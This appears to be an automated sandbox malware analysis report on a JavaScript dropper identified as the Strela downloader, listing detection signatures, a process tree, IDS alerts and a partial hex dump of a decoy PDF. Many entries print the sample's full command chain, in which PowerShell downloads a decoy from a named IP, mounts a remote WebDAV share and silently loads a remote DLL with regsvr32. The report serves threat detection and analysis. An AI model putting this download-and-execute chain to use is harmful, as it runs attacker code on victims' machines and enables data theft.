Edit tour

Windows Analysis Report
14444181562539231561.js

Overview

General Information

Sample name:	14444181562539231561.js
Analysis ID:	1589085
MD5:	d7f45ae6710542c33d7a036a825411c3
SHA1:	11bb74405ca13cf44143ef646b0788571e4f06a8
SHA256:	c50f0763142edfa3dc7e9f3d01c0a5a959a166a67c1fa477af2e4633055d9b58
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7600 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7688 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7732 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7904 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8144 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6564 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1528,i,7314037071135786835,3798120691882214399,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7936 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8020 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7224 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7600	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7688, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7732, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7688, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7732, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js", ProcessId: 7600, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8020, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49771

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, ProcessId: 7688, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, ProcessId: 7688, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, ProcessId: 7688, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, ProcessId: 7688, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, ProcessId: 7688, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js", ProcessId: 7600, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7688, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7732, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7936, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8020, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7224, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7936, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8020, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14444181562539231561.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7600, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll, ProcessId: 7688, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:21:32.075456+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.9	49760	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:21:34.823035+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49771	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:21:32.075456+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49760	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 14444181562539231561.js	Virustotal: Detection: 16%			Perma Link
Source: 14444181562539231561.js	ReversingLabs: Detection: 15%

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 14444181562539231561.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 14444181562539231561.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.9:49760 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49771 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:21:31 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 